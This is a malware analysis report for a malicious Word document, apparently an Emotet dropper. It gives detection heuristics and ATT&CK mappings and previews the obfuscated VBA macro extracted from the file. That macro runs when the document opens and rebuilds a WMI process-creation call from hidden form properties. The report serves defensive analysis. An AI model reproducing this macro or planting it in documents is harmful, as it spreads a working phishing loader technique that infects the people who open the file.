MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_DOCOPEN' heuristic. The macro utilizes a hidden UserForm property to stage and execute commands, a known technique for Emotet. The ClamAV detection further supports the Emotet family attribution. The script's obfuscated nature and use of string concatenation to build commands suggest it downloads and executes a second-stage payload.
Heuristics 7
-
ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11474 bytes |
SHA-256: aade6a57999819d2f037f0e13b2abb66ce8770f3726ef0e6a9856ed99fab93af |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "hauthwaegdebthuap"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
vianwuurtioj
End Sub
Attribute VB_Name = "quaiddih"
Attribute VB_Base = "0{5B06B4BA-936E-4FF7-B44C-D3C4AB7DFBE6}{CCA82118-B4DD-4FDC-A36F-1162A041D87C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "toitheuwweit"
Function vianwuurtioj()
quoawxaothmel = Chr(quaiddih.Zoom + Int(3 * 5))
Dim iYmdslQX As Integer
iYmdslQX = 5
Do While iYmdslQX < 5 + 8
iYmdslQX = iYmdslQX + 3: DoEvents
Loop
moathgouh = "328hbab239***bhqj62vhvhqwi328hbab239***bhqj62vhvhqnm328hbab239***bhqj62vhvhqgm328hbab239***bhqj62vhvhqt" + quoawxaothmel + ":328hbab239***bhqj62vhvhqw328hbab239***bhqj62vhvhqin328hbab239***bhqj62vhvhq32328hbab239***bhqj62vhvhq_" + quaiddih.haltaipneey + "r328hbab239***bhqj62vhvhqoc328hbab239***bhqj62vhvhqes328hbab239***bhqj62vhvhqs328hbab239***bhqj62vhvhq"
Dim Em4ápvnne As Integer
Em4ápvnne = 6
Do While Em4ápvnne < 6 + 9
Em4ápvnne = Em4ápvnne + 9: DoEvents
Loop
xiatsuarroequ = thoithdair(moathgouh)
Dim uVS8Üe As Long
Set yachdeockaenrieh = CreateObject(xiatsuarroequ)
Dim UAJ7ÕQ As Integer
UAJ7ÕQ = 9
Do While UAJ7ÕQ < 9 + 4
UAJ7ÕQ = UAJ7ÕQ + 5: DoEvents
Loop
bubthoedhuuc = quaiddih.koottheetyeotdiev.ControlTipText
Dim IH6ÑbnI As String
IH6ÑbnI = Replace$("biBYTw6Õ", "biBY", "MckQ")
futpauzseuf = xiatsuarroequ + quoawxaothmel + quaiddih.dehmaoc.ControlTipText + bubthoedhuuc
Dim G5Ø3ÔkLKA As Integer
G5Ø3ÔkLKA = 2
Do While G5Ø3ÔkLKA < 2 + 3
G5Ø3ÔkLKA = G5Ø3ÔkLKA + 6: DoEvents
Loop
zaoxxeiqugaith = futpauzseuf + quaiddih.haltaipneey
Dim FHj1Ü As Integer
FHj1Ü = 4
Do While FHj1Ü < 4 + 2
FHj1Ü = FHj1Ü + 5: DoEvents
Loop
Set thaubzooc = wuchpehyijweow(zaoxxeiqugaith)
Dim C5ÕaZP As String
C5ÕaZP = Replace$("NZsnoSoX6âjLgcfJu", "NZsnoSo", "XduChq")
xiopec = Array("NZsnoSoX6âjLgcfJu", yachdeockaenrieh. _
Create(paonnoem, hiequgiovyaoch, thaubzooc), "uYIFXD0ÆHyWk5ÜupdGq")
Dim GZw5ÀOisy As Integer
GZw5ÀOisy = 6
Do While GZw5ÀOisy < 6 + 5
GZw5ÀOisy = GZw5ÀOisy + 7: DoEvents
Loop
End Function
Function wuchpehyijweow(zionweovgieth)
Set wuchpehyijweow = CreateObject(zionweovgieth)
Dim RugsN As String
RugsN = Replace$("uYIFXD0ÆHyWk5ÜupdGq", "uYIFXD0ÆH", "rDYA")
wuchpehyijweow _
. _
showwindow = (thoathwoz + poaxtoigquiar) + (thuuttionpizhiad + nuatfauhdoqutauf)
Dim hDvm As Object
Dim fSfOKNrdp As Integer
fSfOKNrdp = 7
Do While fSfOKNrdp < 7 + 2
fSfOKNrdp = fSfOKNrdp + 6: DoEvents
Loop
End Function
Function thoithdair(siowjefwaur)
hauzquoijseuxpoun = siowjefwaur
Dim k2ÁtJPgnG As Date
zoigquoequraz = Split(hauzquoijseuxpoun, "328hbab239***bhqj62vhvhq")
Dim qjXwTPSvh As String
qjXwTPSvh = Replace$("KR6ÇZeLj3ÃSC", "KR6ÇZ", "P1ÚQc8Í")
hiastitquat = we + Join(zoigquoequraz, ew)
Dim DHB7ÄqedUU As Integer
DHB7ÄqedUU = 1
Do While DHB7ÄqedUU < 1 + 3
DHB7ÄqedUU = DHB7ÄqedUU + 3: DoEvents
Loop
thoithdair = hiastitquat
Dim SHj3ÓV8Ê As Integer
SHj3ÓV8Ê = 6
Do While SHj3ÓV8Ê < 6 + 3
SHj3ÓV8Ê = SHj3ÓV8Ê + 1: DoEvents
Loop
End Function
Function paonnoem()
aqw = quaiddih.cheoksougmoez.Pages(1).ControlTipText
Dim vvLfp As Integer
vvLfp = 8
Do While vvLfp < 8 + 9
vvLfp = vvLfp + 4: DoEvents
Loop
paonnoem = thoithdair(aqw)
Dim eRs As Integer
eRs = 1
Do While eRs < 1 + 3
eRs = eRs + 8: DoEvents
Loop
End Function
' Processing file: /opt/analyzer/scan_staging/a8af6bbab9d44300a0635fc615e4e5aa.bin
' ===============================================================================
' Module streams:
' Macros/VBA/hauthwaegdebthuap - 1367 bytes
' Line #0:
' LineCont 0x0004 02 00 00 00
' FuncDefn (Sub hauthwaegdebthuap())
' Line #1:
' ArgsCall Document_open 0x0000
' Line #2:
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.